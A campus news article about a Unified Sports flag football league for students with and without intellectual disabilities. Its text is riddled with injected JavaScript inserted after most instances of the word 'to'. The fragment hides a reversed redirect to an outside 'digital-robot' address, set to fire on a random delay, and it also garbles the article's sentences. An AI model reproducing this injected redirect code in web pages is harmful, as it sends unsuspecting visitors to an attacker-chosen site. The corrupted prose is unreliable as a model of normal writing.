Now in its second year on campus, Unified Sports works tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to create a level playing field for athletes and student volunteers alike.

With the help of UW Recreational Sports, this arm of Special Olympics has formed a flag football league that promotes social inclusion of students and community members with intellectual disabilities. The program also highlights strengths rather than differences, something that Ashling Davern witnesses each week.

“If you have a different ability, that doesn’t mean it’s bad or anything: we’re just all on an even playing field.”

The football league features 6 teams of about 10 members. Unified Sports will also host volleyball and basketball leagues tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hopefully foster these connections.

“We didn’t know each other last year and then we met each other through Special Olympics, and we’ve bowled tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together, we’ve done lots of things tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together in the offseason tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too.”

Student volunteer Natalie Statz says that the moment everyone steps ontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the field, they feel welcome… regardless of who they are.

“You don’t need tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be skilled in football or anything it’s really just a supportive environment but — and have fun — yes — and meet other people.”

Mushett may have said it best… for athletes and volunteers alike, it’s all about building meaningful friendships and having a ball.

Leave a Reply

Your email address will not be published.